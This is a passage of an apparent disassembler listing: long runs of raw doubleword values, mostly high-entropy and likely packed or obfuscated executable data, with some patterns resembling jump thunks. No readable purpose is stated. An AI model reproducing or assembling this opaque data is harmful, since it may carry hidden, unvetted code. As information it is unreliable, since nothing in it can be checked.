2383B9C3h, 2800F60h, 60000000h dd 4ACB8061h, 0CE961h, 0F600000h, 0BB57FFBFh, 1BE3E745h dd 20CD615Ah, 0 dd 3774C00Bh, 8B0C708Dh, 229A0EBDh, 8B906h, 75A60000h dd 0FA754922h, 8B30488Bh, 229A0A9Dh, 34583B06h, 0D38B157Fh dd 304D26Bh, 89018BCAh, 229A0685h, 8B04EB06h, 61C5EB00h dd 9A06858Bh, 0E9CF0622h, 0Bh, 1D80F83Eh, 45E2C20Dh, 6A3CB076h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0BFD7C351h, 8B6660B9h, 0C08B61F3h, 13E8h dd 0FFDC8600h, 3A91A8CCh, 64CCFB33h, 0BE2E7E7Ch, 0DCE1D5C7h dd 5A75E980h, 8147CC80h, 5BC5C2h, 0C0BFF900h, 0E9000016h dd 6, 9C3D84Ch, 32FF91A6h, 8E9h, 899BF900h, 15BE0C18h dd 9E85E88h, 12000000h, 7D6B0A97h, 0F18FE45Bh, 9E857h dd 0D7BD0000h, 0C4F2D964h, 59493370h, 0C681585Bh, 41BF9BFh dd 0F681C78Bh, 45A3F7E1h, 0D38B6660h, 10E9h, 6FC0C900h dd 0B615E489h, 0F926AF6Fh, 0E7F8ABE0h, 0EE8161F3h, 3CF59AA6h dd 0DE14BA60h, 66573C76h, 5EDDEBBFh, 0F328961h, 288h, 83EE8A00h dd 0B70F04EAh, 1EF81C1h, 0F000000h, 0FFFF7985h, 816660FFh dd 0E9153CC2h, 5, 0A621C810h, 0E5E961B9h, 10000000h, 0DCFFEE4Dh dd 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh, 7F2D773Dh dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h dd 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh, 20A1E4A9h dd 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h dd 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h dd 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h dd 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h, 73351ADFh dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h dd 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h, 43F2FD54h dd 31E0A424h, 0CB5E9h, 0A5286800h, 73E90622h, 68FFFCDAh dd 622A631h, 0FCDA69E9h, 0A6F068FFh, 5FE90622h, 68FFFCDAh dd 622A7DAh, 0FCDA55E9h, 0A86C68FFh, 4BE90622h, 68FFFCDAh dd 622A932h, 0FCDA41E9h, 0AA6D68FFh, 37E90622h, 68FFFCDAh dd 622AB8Eh, 0FCDA2DE9h, 0AC8568FFh, 23E90622h, 68FFFCDAh dd 622AD8Fh, 0FCDA19E9h, 0AE4C68FFh, 0FE90622h, 0D2FFFCDAh dd 0ECB027DAh, 0BCF46B9h, 27EB629Fh, 42067D82h, 0DA269D64h dd 78891D20h, 99763D01h, 0B74A5E22h, 0D42B7C40h, 6F1B945Dh dd 19B0FE97h, 457FF22Ah, 8E0B9D62h, 8D1AD9CEh, 0FAAACE72h dd 1DDD56B9h, 3CE4768Bh, 0ED7C8618h, 887730F1h, 88DAA11h dd 0B2FAE38Fh, 0AF6F15F0h, 0D16307F8h, 0FC758A1Dh, 358541C6h dd 5B7FAB7Dh, 788720E4h, 167146E6h, 3CB725F3h, 0D7287FA2h dd 0F40B9C60h, 6F9AE62h, 96E7C074h, 868BA30Fh, 50E28641h dd 63F50C9Ch, 1914CA59h, 61C01E99h, 9842B946h, 974D9C1h dd 549ECh, 62457900h, 50570B9Dh, 66D138AFh, 0C0EF8E17h dd 0BC1D86B9h, 1A9337DBh, 0EFAB596Eh, 0CDE6A615h, 0E408B042h dd 0C565F7ABh, 25F1AAF1h, 3506D857h, 9754F64h, 2F89h, 95A21600h dd 0ECC78700h, 0A1CAA24Eh, 0A95D1FD3h, 0A7CB7305h, 80DD822Eh dd 0D68A15F0h, 0C0D0A444h, 0B73625F2h, 5D451427h, 0E2680974h dd 0F5000000h, 0B9D6245h, 8159058Eh, 141FD3A1h, 1A8C3C60h dd 0F8AE6EE7h, 0C557A8FDh, 0C355791Dh, 7FE5980Fh, 0E178FBFFh dd 0C542D478h, 0AF592B8Fh, 5B7FC579h, 8A03FCABh, 9224DBCAh dd 956C3AEAh, 0C0375B03h, 0D2E10B10h, 9966411Fh, 0B6495E22h dd 8DEB073Dh, 98EF908Fh, 0AC8BE274h, 0AC535414h, 0FED6721Ah dd 911FD2F2h, 14C039DDh, 15F0029Bh, 78057C30h, 320D4642h dd 0D8FCB7FEh, 66DFB285h, 138B82BAh, 0E861151Ch, 7778FBB2h dd 9B53472h, 2C142931h, 486C10C4h, 6A970FCFh, 8A772FF3h dd 6C480123h, 726BCFAh, 9D2h, 0FB728F1Dh, 1A916E37h, 36AD5456h dd 51C83772h, 71E8198Dh, 44626B25h, 318246BDh, 5A367DEh dd 0E6C185FCh, 60D9A219h, 0B0FCDCB4h, 0C4376F19h, 29A06145h dd 46BD4265h, 95A2CFh, 8136DB87h, 2FE315F0h, 0C229FD9Dh dd 128F25F2h, 0FAAA5552h, 0B42F53AEh, 396E2E2Ah, 138C34C6h dd 0F2C18F67h, 4A6E2225h, 745CE5B4h, 0F39F2809h, 25F2CE1Bh dd 0A17925AEh, 3425F2CDh, 0B763DC80h, 25F2CDDFh, 19ABE72h dd 0C9h, 9162458Eh, 0B143E718h, 0DF58A9FDh, 0D36327A9h dd 1C409FB0h, 6E5EA8Ah, 8C1B1FD3h, 6F38FC73h, 90A7FE90h dd 5F4E84FDh, 1A02DB14h, 49B8F2A2h, 0ED23AC25h, 169199D1h dd 56F216E6h, 15EFD9DDh, 0E047BE72h, 30B93257h, 0A5C93870h dd 1345A609h, 269F531Ch, 0EFB64D66h, 32D67E10h, 0D60C950Eh dd 7AF03A64h, 0CD5A8000h, 0F3AB6913h, 297D2D51h, 99D61D8h dd 0F3A591F8h, 8A20FA13h, 8C96Bh, 69981400h, 88772EF2h dd 0A45D4D11h, 0BF40692Dh, 0DF228448h, 5B621C68h, 7B3FB64Bh dd 9C60D738h, 0BA7EF50Ch, 0D29B12EDh, 0FBD5AD59h, 306819B0h dd 0A06145BDh, 0CDDC9C29h, 0EC7E8126h, 0B8F0A044h, 0EB0FB749h dd 1C936C3Bh, 9D6245A5h, 0AF50570Bh, 0BBEBAB38h, 0E80CB446h dd 0F93E92DEh, 3FE31E88h, 81611AC6h, 6DF615F0h, 0F2C1E9C1h dd 24C87C25h, 0F637F191h, 7FB8243Ah, 60E5910Ah, 0D1AD82Ah dd 8820E059h, 6CC35579h, 0C44DC6CBh, 7AA9FE8Eh, 2D861B54h dd 7E1A3EE2h, 20FC011Bh, 0DB9B14C8h, 2FBC33CCh, 27CA53F9h dd 0A72985h, 21C56DFFh, 0A55A4DFDh, 45D003Eh, 0E2DC3E7h dd 80Ah, 33AA5755h, 52C9366Fh, 6EE51C8Eh, 8900FFAAh, 0A920E1C5h dd 0C9AA35Dh, 0F9BA7EF5h, 0CDDB9F16h, 0AEF9BD34h, 9811DA51h dd 0B0FC14ECh, 0FC6FA719h, 0B9D6245h, 950E83B4h, 9C2ED3D5h dd 0AB57D0F4h, 15F0ABAEh, 8D80D50Bh, 70BB933Fh, 9A4E25F3h dd 35B5A774h, 0AD24D811h, 239CF146h, 3EEA5063h, 25F32C66h dd 7DA145F9h, 8F905804h, 4F031C13h, 6E9116D6h, 8B7433F7h dd 0F495A2F9h, 0F3CB77B3h, 862C15CFh, 9B52ED2h, 2C15CF31h dd 0F36C10C4h, 100AA6Ah, 15CF8D65h, 486C202Ch, 317823CFh dd 0BFF52236h, 0FD40ABBAh, 4BB4F324h, 0BD6D11B9h, 0F77014EDh dd 0FD8F7037h, 0F8B83155h, 57F1CEAFh, 477CB575h, 3F682CA3h dd 7BB12EC0h, 8CF73A7Bh, 0D5284C81h, 0AB62F62h, 28554B55h dd 43C72EE2h, 42EEAF27h, 7208DACh, 416B0000h, 208549C0h dd 6A468DFh, 0E9C084FBh, 0CBDB9F16h, 0B973BF36h, 980FF2B4h dd 0B930DFD4h, 0D74EB3F5h, 0F46B9413h, 2E06B22Bh, 0C119B0FAh dd 95A21689h, 28DB8700h, 0B515F404h, 0DFC88801h, 0C2E5A920h dd 7EDFE0BBh, 0DB1534Bh, 2DD50B94h, 739A2D1Eh, 56663EDAh dd 0C3F925F6h, 0FBD7121Bh, 395D0116h, 57F42AA7h, 0EC652342h dd 1B1C6F93h, 0EB74FD76h, 0F5D3673Fh, 0DB248325h, 0B468A149h dd 0DDF7F490h, 0E0941C12h, 6DF46F79h, 3554EAFAh, 68Eh dd 0B72ED3D9h, 0D64DB2F3h, 0F2699812h, 0D847B2Eh, 2DA45D49h dd 881E27E1h, 753E0279h, 495F239Ah, 2A7D41B8h, 1C955ED5h dd 0B0F99870h, 80F32B19h, 870095A2h, 0F2236851h, 0C9ED63EFh dd 0E1DCA450h, 4F0F15F3h, 6E16A859h, 0D6DB114Ah, 0B458542Fh dd 0B43DB65Ah, 0BC4EB1F4h, 6740F014h, 973F17C3h, 1ED225F6h dword_5685C8 dd 0CC78017Ah, 25F697F4h, 38AFD387h, 0E14A3374h, 83D35D58h dd 0D4AC58D1h, 6725F626h, 267D0FB3h, 57037C11h, 1C1688ACh dd 3CFC7529h, 0E20F126Bh, 0C95BA401h, 26BFFB21h, 5E22993Dh dd 7D3DB649h, 29E6CD36h, 0B94BEF97h, 45BED11h, 39E55E33h dd 2235F884h, 0E6F65D11h, 5DE44859h, 5C8A8C7h, 99130000h dd 782DF168h, 5E4C1087h, 41682CA3h, 238347BEh, 611B67DEh dd 40B74A5Ch, 61D8377Ch, 7FF60B9Dh, 9C13ECBBh, 0D6AE5AD3h dd 6919B0F8h, 6245BE31h, 50570B9Dh, 66D138AFh, 9210E8A1h dd 4A8F5AAh, 0F4CADF8Bh, 975715EFh, 0B55DEF10h, 47629811h dd 8441F3DDh, 0CCAD698Fh, 6ED46ECDh, 4418B84Ah, 0AA25F1FAh dd 6FA5B32Bh, 287D5343h, 0A145B1D7h, 8CCD6387h, 410975ACh dd 0D176550Bh, 83A79725h, 33EAh, 95A27700h, 67A8037Eh dd 0BA5EA75Eh, 7282B841h, 0B625FEE7h, 6A0EF3B7h, 8A05AA46h dd 0FEB215EFh, 0C9F8CC6Ch, 0DF5E25F1h, 647D3CFFh, 0BB900975h dd 1D000000h, 0B9D6245h, 39B24F57h, 0A22C04B0h, 0BBF1FD3h dd 6A155E7h, 0F4B367F9h, 4707940Bh, 4A22CE6Ch, 0DD1FD3A2h dd 0C5618529h, 1FD3A6C0h, 0D74EB1F6h, 0D96B9413h, 67E0B582h dd 0F0BB92BBh, 0DC530715h, 56CFC275h, 142ACFAAh, 3FB86C1Ch dd 0B2D62B7Fh, 0D42D7939h, 4E26D25Bh, 0A12C146Ah, 146B1DF5h dd 0C3FCB02Ch, 6AB68E3Ah, 95492C14h, 9256CDF1h, 39C6E114h dd 6F82E95h, 0F58BFA6Ch, 48DD6h, 2DD4D800h, 4CB3F2B6h dd 689911D5h, 837C2DF1h, 0A35E480Ch, 1F26E02Ch, 3F037A87h dd 60249B74h, 7E42B948h, 965FD629h, 0F799711Dh, 0F42C19B0h dd 0A0614581h, 0BD426529h, 95A2CF46h, 36DB8700h, 0A315F081h dd 0AA3CC5E3h, 0F1A5DE02h, 0EFAC4278h, 0E6489448h, 0BC9030C2h dd 2225F34Bh, 98701CA5h, 2B25F34Bh, 6D85377h, 18149252h dd 0F34B946Ch, 0CF732725h, 0DB71953Dh, 974EA9Eh, 421AC64Fh dd 0D525F357h, 0EF64FD21h, 0F1000000h, 7EEBC7Ch, 26CE60A1h dd 0F9AE5E82h, 0E6C07406h, 0E4E9891Bh, 1A1FD3A5h, 70F9728Dh dd 0D3A5ECC4h, 0A7CB7F1Fh, 0C43B6C30h, 3E16C24Bh, 0D11FD3A5h dd 0C9466D1Dh, 609613A5h, 64823BE6h, 7DA61084h, 0CB6EE22h dd 46F14468h, 0E98D7237h, 0B25EE770h, 1FD3A9DAh, 0D0F2376Dh dd 839F7988h, 8B842FDFh, 912D51F9h, 15F19768h, 4BB229DDh dd 75089DECh, 0CCC035B2h, 0F88A2EA0h, 8733AC50h, 1C149D47h dd 0FDBD36EAh, 1DE158A9h, 0E1117889h, 64FA6DF4h, 36CAFCEh dd 0F5B70000h, 0D4D1950Ch, 0BAF0B42Bh, 9D0CD047h, 7F27EB62h dd 5BF0B82h, 0E45BA600h, 57C9320h, 239A6741h, 40B7485Fh dd 7A52FE77h, 0D19B0F6h, 614562D5h, 9E26D1Eh, 172E6F4Ch dd 4763D381h, 0B029CD71h, 0B749B8F0h, 0CA5CA503h, 0E35A7E22h dd 0ED149656h, 718E19C9h, 624583FAh, 6C182291h, 1FD3A194h dd 2BCF7327h, 3DC2E599h, 76C6A8C6h, 0A753CCC1h, 15F081EEh dd 9656CF83h, 0E25FF110h, 0F2C15E36h, 993DF125h, 0C19C7420h dd 7B2F25F2h, 0E824C457h, 69C205F8h, 9642BBCEh, 0C0452349h dd 0D99912C6h, 0FBA335DAh, 49EE45D7h, 0EC906F38h, 9D64C773h dd 5D11C669h, 26D25BE4h, 0D669DC4Eh, 2D7D2DE1h, 0A700B0D4h dd 4A8674Ch, 6640008Dh, 0DC421AC6h, 21D5D669h, 0FEA9597Dh dd 0DCA8802Ch, 873BD669h, 0DC8A620Eh, 691DD669h, 0F4BC5EC5h dd 11A740BAh, 275F2h, 15ECC000h, 34CBDA9Eh, 50B1F9BDh dd 6B9415D9h, 8B7630F4h, 70EC814h, 27EB629Fh, 480C838Ch dd 662AA160h, 7E47BE41h, 0F5815905h, 0DC1419B0h, 0F7BC7C69h dd 65DE8618h, 0D3A1E1B9h, 9CC0741Fh, 0B244BBECh, 0CD327535h dd 1C6F933Bh, 3DFD761Bh, 0C3E3936Ch, 0E004AC3Eh, 871EDE67h dd 1A3EE678h, 0F0B8857Eh, 0EF661A15h, 0FB06A262h, 939DC169h dd 228747E1h, 7FA34BDDh, 5B10B2Ch, 25F2B92Dh, 0B9FCD480h dd 0DB8F25F2h, 0D14AEEA2h, 0FD411248h, 0E632E6CDh, 776D26C2h dd 4E021C10h, 6B9415D5h, 7A0D31D9h, 80E70ADAh, 0D1C47368h dd 1A27AC58h, 20D4DEBEh, 8D00378Eh, 56028B14h, 0EEC0597Eh dd 9D395D11h, 0E4E2943Ah, 7F8027E7h, 28A145EDh, 47C03F68h dd 4CDE2387h, 1E8F9222h, 0F99D389Fh, 0D9A5ED5h, 10E8941Dh dd 0A3F4E31Ch, 1B7B53EFh, 0D80EF4E3h, 81612DD9h, 0D7872BABh dd 258C30D1h, 23233AE9h, 6BAFCE64h, 0B6000001h, 0D0940BF6h dd 0EFB32AD5h, 0BCF46BBh, 26EA619Eh, 0BE0A8180h, 5CA50104h dd 7D9221E5h, 9B664206h, 0B8476024h, 53FF7841h, 19B0F47Bh dd 7C63D60Eh, 8214EBBCh, 0A106B6DAh, 8E25E55Eh, 74CB5D81h dd 0A955CEC3h, 15F09204h, 0C484FDB1h, 0E1891BE6h, 4B2846BDh dd 0DE573AFDh, 0FB17932h, 0C75A0E1Ch, 629EAF27h, 6642024Ch dd 3D61099Bh, 0CF484DEAh, 4569960Fh, 0D09B20CCh, 8848DB21h dd 0AB3DE120h, 0DC2CE354h, 335C9C8Fh, 0B41BA5Eh, 49E07262h dd 0D64F7361h, 46B7C72Ah, 47C074E1h, 66DF2087h, 89020DA6h dd 46F705DDh, 0C0E498F1h, 0DD228549h, 5F9AA876h, 0F615AB27h dd 0AEh, 0D74EB3F9h, 0F66D9213h, 12897832h, 2DA45B4Eh dd 4DC43D69h, 683E4701h, 555E2299h, 297F43BAh, 0A9D61D8h dd 3CB57EF5h, 0B0F3B890h, 0A0134B19h, 0B9D6245h, 18C83B4h dd 0DBEB8168h, 6BF46D11h, 0C65E36E2h, 2D7A1FD2h, 0C1E599D2h dd 0EFCFD025h, 32A95D15h, 0B0296CCBh, 12323404h, 822EB71Ch dd 2C1471AAh, 487A073Dh, 68FC8200h, 118E20C4h, 15A75851h dd 0E99496Dh, 0F1B67AF1h, 0BDDC7C0Eh, 95D355EDh, 5E49D806h dd 41662AA1h, 31782CBEh, 2BAA3CCEh, 0C6396EB3h, 0EAB5174Dh dd 0F8E8F441h, 0E995DD4h, 3405FF1h, 0C9000000h, 674540A7h dd 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h, 2A458EAh dd 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 6886A234h, 342Ah dd 51242489h, 4B9h, 244C0100h, 89515904h, 4C181E1h, 83000000h dd 0C8704E9h, 34895C24h, 0E1895124h, 4C181h, 0E9810000h dd 4, 5C240C87h, 51242C89h, 0F17E96B9h, 7E1C15Dh, 0E981E1D1h dd 0EB5BF28Dh, 0C8BCE89h, 4C48324h, 242C8B54h, 5004C483h dd 8B8h, 89E80100h, 24048B30h, 8B04C483h, 8952242Ch, 4C281E2h dd 83000000h, 148704C2h, 348B5C24h, 0E2895224h, 4C281h dd 0C2830000h, 24148704h, 0CDCCE95Ch, 0B567FFFCh, 1FB897D5h dd 30622AFh, 0FEE0FFC5h, 0B704015Ah, 0FA54B3C4h, 0AF23FF04h dd 7B727F48h, 5A35B89Dh, 680E8290h, 8464156Fh, 1F4EABF5h dd 4A39665Ah, 0E975047Ch, 148h, 50h, 54h, 58h, 5Ch, 60h dd 64h, 68h, 6Ch, 0B0h, 0B4h, 0B8h, 0BCh, 0C0h, 0C4h, 0C8h dd 0CCh, 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh dd 38h dup(0) dd offset dword_5685C8+780h dd 9E50EBh, 0AFF0858Dh, 830F0622h, 6, 422EF281h, 8589640Ah dd 622B130h, 0C67FCD80h, 1F202585h, 0B5895406h, 61F1C39h dd 6E960h, 0F4ED0000h, 3260D337h, 4E861FCh, 29000000h dd 60EE6268h, 25BB5250h, 0F3F5819h, 5A616031h, 0C68B6058h dd 0EE9h, 33BF1100h, 87B0A7EEh, 0C3A61B5Eh, 61A6DC7Fh dd 8B665061h, 24448BDFh, 89008B04h, 66042444h, 158D38Bh dd 1F311585h, 71B5FF06h, 89061F32h, 1F0F6195h, 7D9D8906h dd 8D061F0Eh, 22799385h, 0FD0FF06h, 68Fh, 0C5B58900h, 89061F02h dd 22B13485h, 499D8B06h, 0E9061F11h, 49h, 11E59D29h, 8B56061Fh dd 22B130B5h, 83068906h, 22B13085h, 0C35E0406h, 0F0B58D60h dd 0EB0622AFh, 6A560Fh, 95FF36FFh, 622B134h, 4C6835Eh dd 75003E83h, 89C361ECh, 1F3085B5h, 69B58906h, 29061F0Ah dd 1F0ABD95h, 4858D06h, 310622B2h, 1F2311BDh, 11858906h dd 0EB061F0Fh, 0BE000039h, 0BE02CC00h, 0BE02E400h, 0 dd 7672EE00h, 6F7E0A46h, 7E76CF77h, 75722423h, 7F35C44Eh dd 551BB84Fh, 57572E77h, 546F7B23h, 4F75FF53h, 7A7E3F4Bh dd 0F37BA647h, 1B1B5337h, 0A000B05Bh, 3A4EBAACh, 0A175308Ah dd 42547EEBh, 34B0DF6Ah, 1B11C82Ch, 1EF2A623h, 2B1B5323h dd 0CD70DC27h, 71DB5F7Ch, 18F33823h, 3B1B3523h, 92415979h dd 9A1F6977h, 61F8267h, 591B5323h, 1B376A71h, 7D864CDDh dd 0E66256E5h, 0F91239Ch, 0DAA61974h, 1B1D5225h, 0A698AF56h dd 1D044C72h, 4B02DD23h, 0A3DB5F70h, 1B1B6E9Ah, 147EB0AAh dd 86969C3Ch, 1D3AE287h, 434075DCh, 44AEEA0h, 6F1BAF3Ch dd 0A3488434h, 1B1B6E9Ah, 147EB0AAh, 86969C3Ch, 1D3AE1B0h dd 434075DCh, 3ADDD245h, 0DE96228Dh, 901DCB38h, 4A1B00E3h dd 1B1B36CBh, 0D842BA23h, 3F57C47Ah, 3F5F2727h, 1B1B4927h dd 0D84AE823h, 5A9863EEh, 0DD5DCF5Fh, 43B10A6h, 1B71CC25h dd 1B18A572h, 423BA623h, 57920AE0h, 5F9AAD07h, 1B02D007h dd 4A5A6A23h, 0E920DAE0h, 7DAE00DDh, 14447C9Ch, 2D735F94h dd 4BDB4A3Dh, 0F22AA671h, 1B1BD433h, 0DF0AA6D5h, 0F7BDAF6Ah dd 47A62F6h, 0F15A24A2h, 2F9AFE79h, 0AABD3707h, 4E1BC37Fh dd 1B1BD7CBh, 0D8464A23h, 3F77BC7Eh, 3F5F1B27h, 1B1B5527h dd 0D84EE323h, 0C673CA56h, 8E12FFCCh, 1D04E686h, 6AAE957Ch dd 9B1D2A11h, 9E9621C6h, 1D3934B0h, 0F348A649h, 1B1B5320h dd 40D8F203h, 1F3F88AAh, 1F3F2EA2h, 1B1B3539h, 5D8C960h dd 1E851D86h, 962AE2F1h, 1D045C76h, 1B7179DCh, 1B183C70h dd 403B6A23h, 47926EE0h, 5F9A9E07h, 1B0E4907h, 4858A623h dd 7BCF71E0h, 15823CA8h, 8630D23Ch, 1D0471D6h, 414A6342h dd 141FF079h, 1B1B4DAEh, 1B1F4E23h, 0B1B5323h, 15F2A923h dd 0E51BD423h, 9A837854h, 89AA310Fh, 9DB4D552h, 7D7B1D70h dd 7DF0EE9Dh, 7A1F989Ah, 1F3FEDA8h, 1B901092h, 2A143873h dd 41E1BE45h, 3F5F137Bh, 0AD4EF427h, 7143A97Dh, 18F30223h dd 3B1BA923h, 9242177Ah, 9A1F4E6Fh, 0D1F1167h, 5A1B9A23h dd 818E72h, 868E2D01h, 731D4C09h, 0D6B4F1D3h, 48826E75h dd 9A422E54h, 0B2E71127h, 1DF3A873h, 0D21B4D23h, 0F042775Dh dd 1B71098Bh, 0F34CA949h, 1B1BD420h, 44D83503h, 1F3F49AAh dd 1F3FDEA2h, 1B1B4D36h, 9AD8F164h, 1B09BA32h, 2B15A923h dd 4F9DF251h, 0D3DBE633h, 9337B052h, 89BA0021h, 2CEF0A8h dd 0CBE4A03Ch, 0F34D5349h, 1B1BA920h, 45D88A03h, 1F3F1EAAh dd 1F3F71A2h, 1B1B9A3Ah, 1DD81B65h, 0AC705202h, 529EDA42h dd 9A1D8B91h, 4FEE09CCh, 1EE3E159h, 1B1B37EFh, 0A9561FAAh dd 0DB984B01h, 4A9E2F3Bh, 281D7191h, 19F710E3h, 0B1E8D423h dd 0F34A6A49h, 1B1B3520h, 42D8C303h, 1F3F01AAh, 1F3FE2A2h dd 1B1B5339h, 1DD8F862h, 66B25E67h, 0A6326722h, 1D042C2Eh dd 15322710h, 907D4B3Ch, 3E9E60E8h, 581D4C03h, 0F34AA949h dd 1B1BD420h, 42D83303h, 1F3F79AAh, 1F3FDEA2h, 1B1B4D36h dd 8BD8F762h, 0FA9A35F7h, 0D3736EA7h, 7DE66076h, 2F9AA4A8h dd 0C825A307h, 4D1BF042h, 1B1B4ECBh, 0D8458623h, 3F6FDA7Dh dd 3F5F2827h, 1B1BC227h, 0D84D2C23h, 90284E15h, 438D39Eh dd 6AAEB225h, 711DB911h, 18F30523h, 3B1BA923h, 9245177Dh dd 9A1F4E57h, 0D1F1167h, 5D1B9A23h, 22028E75h, 0E2A62F7Ch dd 961D4C38h, 39623AA6h, 4C1BBE25h, 1B1B69CBh, 0D8441523h dd 3F67137Ch, 3F5FCC27h, 1B1BB027h, 0D84C1423h, 0E44ECA34h dd 4E1BBEF3h, 1B1B69CBh, 0D8461523h, 3F77137Eh, 3F5FCC27h dd 1B1BBA27h, 0D84E1623h, 2C34B4B9h, 0A231F507h, 1D9B6598h dd 901B3523h, 40DB79Eh, 929EC425h, 7D1DB938h, 9E9683A8h dd 1D04B702h, 1A7A51AAh, 1B716C3Ch, 1B18DD76h, 463B9A23h dd 779210E0h, 5F9AA207h, 1B0F5707h, 4E5EA923h, 8E30C8E0h dd 1D046042h, 1B1DBE2Ch, 8E909A23h, 1D0452DEh, 3B3E23E5h dd 7148553Ch, 18F3FB23h, 3B1BD423h, 9241A979h, 9A1F1177h dd 21FBE67h, 591B4D23h, 0AA996571h, 482F9883h, 0D0A3CA8h dd 6B73D23Ch, 9A94EC12h, 0C731127h, 1B71F708h, 1B18A575h dd 453BA623h, 6F920DE0h, 5F9AAD07h, 1B0ED007h, 4D5D6A23h dd 7D967FE0h, 22F453A2h, 0D8EC8AAh, 0AEE4A03Ch, 1D046152h dd 0F349A949h, 1B1BD420h, 41D83003h, 1F3F61AAh, 1F3FDEA2h dd 1B1B4D3Ah, 9ED8F461h, 0F881A789h, 9514C9BFh, 1B1BD420h dd 10BD9AA3h, 40904BEh, 9E96FB25h, 1D3934B0h, 0BEAE2F70h dd 421D4C3Bh, 69FA9E9Ch, 7BCB2B55h, 0D39A0C71h, 904066F1h dd 400EFA6h, 9E922C25h, 1D04BB66h, 0F3495349h, 1B1BA920h dd 41D88E03h, 1F3F3EAAh, 1F3F71A2h, 1B1B9A3Fh, 0DBD81F61h dd 0E18C6423h, 8ACEE4ACh, 181E1CA8h, 9614D23Ch, 1B1B6A2Ah dd 1B18B62Ch, 907D9A23h, 3E9E8BDDh, 481DB903h, 0F34D5349h dd 1B1BA920h, 45D88A03h, 1F3F1EAAh, 1F3F71A2h, 1B1B9A34h dd 0F4D81B65h, 7D08EED8h, 0BB73A8A8h, 0A29CD841h, 247305FFh dd 83F5EA2h, 71445C85h, 18F3C923h, 3B1B4D23h, 92406578h dd 9A1F777Fh, 1F8D67h, 581BD423h, 918EA970h, 1325593h dd 9A4871F4h, 0B0CB87F1h, 0AEE4F81Fh, 1D046152h, 0F34CA949h dd 1B1BD420h, 44D83503h, 1F3F49AAh, 1F3FDEA2h, 1B1B4D3Ah dd 0F6D8F164h, 0D4B49D1Fh, 1B124008h, 170AD423h, 7ACAAE2h dd 7DE10107h, 9E9649A8h, 1D3934B0h, 0F34BA649h, 1B1B5320h dd 43D8F103h, 1F3F90AAh, 1F3F2EA2h, 1B1B3534h, 1BD8CA63h dd 0E49EB736h, 4A962FF3h, 921D4C00h, 40060A6h, 3E9E1225h dd 5C1D7503h, 0F34C3549h, 1B1B9A20h, 44D81203h, 1F3FDAAAh dd 1F3F17A2h, 1B1BA93Fh, 99D88364h, 97B7E2A5h, 1F49467Fh dd 1B1B91CAh, 6BC91423h, 0CB0CA9D2h, 0FD40D400h, 1B4234AAh dd 1FF3D23Ch, 0B21B6A23h, 4BACEBFEh, 67E9DA99h, 3F5FC627h dd 0A91B2D27h, 3F5FDA05h, 1449F927h, 4B498412h, 412A6571h dd 0A12A3A7Bh, 2973976Ah, 43411579h, 4C1BCC7Bh, 1B1B50CBh dd 0D8448923h, 3F675D7Ch, 3F5FEB27h, 1B1B2327h, 0D84CDD23h dd 148016A9h, 1B1BA0A9h, 0C2AEDA23h, 181DB635h, 4170DB6h dd 6AAE9525h, 711D2A11h, 18F3C823h, 3B1B4D23h, 92416579h dd 9A1F7777h, 31F8D67h, 591BD423h, 5C91A971h, 0F21788D0h dd 1B1B9A26h, 0D73B737Dh, 889E2BB8h, 711D715Ah, 18F3FB23h dd 3B1BD423h, 9241A979h, 9A1F1177h, 0D1FBE67h, 591B4D23h dd 0F1536571h, 9E86DA73h, 0E41DB639h, 491BBEF3h, 1B1B69CBh dd 0D8411523h, 3F4F1379h, 3F5FCC27h, 1B1BBC27h, 0D8491123h dd 70F2E0B6h, 7DEC79E9h, 924BF09Ch, 403D0A6h, 4B1BF025h dd 1B1B4ECBh, 0D8438623h, 3F5FDA7Bh, 3F5F2827h, 1B1BCF27h dd 0D84B2A23h, 998198DCh, 0D45B91F1h, 38E2F8A8h, 9EDDA03Ch dd 1D047306h, 0CA9EA064h, 0F31DCB3Ch, 1B1B6A27h, 9AC72559h dd 0AD4B4E91h, 3F5FC6AAh, 1897A927h, 7D1B5323h, 1B9078A8h dd 1F3F90AAh, 0CE913C7Bh, 6AAECA7Ah, 711D8511h, 18F31F23h dd 3B1BA623h, 92419079h, 9A1F8D77h, 21FF067h, 591B6A23h dd 9C25F671h, 9B679C6Fh, 8ED9CC45h, 0DA9E9791h, 961D4C36h dd 39623AA6h, 1190DB25h, 0F21B6A23h, 1B1B3526h, 0C9FA2971h dd 0F2CBB2CBh, 1B1BA629h, 0BE2F5693h, 4CC7F7ADh, 9E923F1Ch dd 1D046A02h, 0F34A3549h dd 1B1B9A20h, 42D81403h, 1F3FEAAAh, 1F3F17A2h, 1B1BA935h dd 41D88562h, 9EDDF60Ah, 1D041506h, 50736664h, 7B887257h dd 9B1461A8h, 1B1B5321h, 9A7AF172h, 0D309F027h, 0EA9B7DAEh dd 1B08DC57h, 28829A23h, 25B083A3h, 35FA11C8h, 0A9656B1Ch dd 80FC79F8h, 6AAE2BCCh, 711D7511h, 18F36623h, 3B1B9A23h dd 92408E78h, 9A1F827Fh, 31F7767h, 581BA923h, 0B9E31770h dd 0E771848Fh, 6288B0AEh, 0A6109C01h, 1D044326h, 0A69076DCh dd 1D04638Ah, 1BAE2CAAh, 1B71D23Ch, 1B188270h, 403B3523h dd 4792C1E0h, 5F9A4907h, 1B0CA207h, 48585323h, 0BB84CAE0h dd 71CB2B8Ah, 18F33F23h, 3B1B3523h, 9246597Eh, 9A1F694Fh dd 71F8267h, 5E1B5323h, 346A6A76h, 0AAEF83B8h, 9A0E78C1h dd 2E5C48EAh, 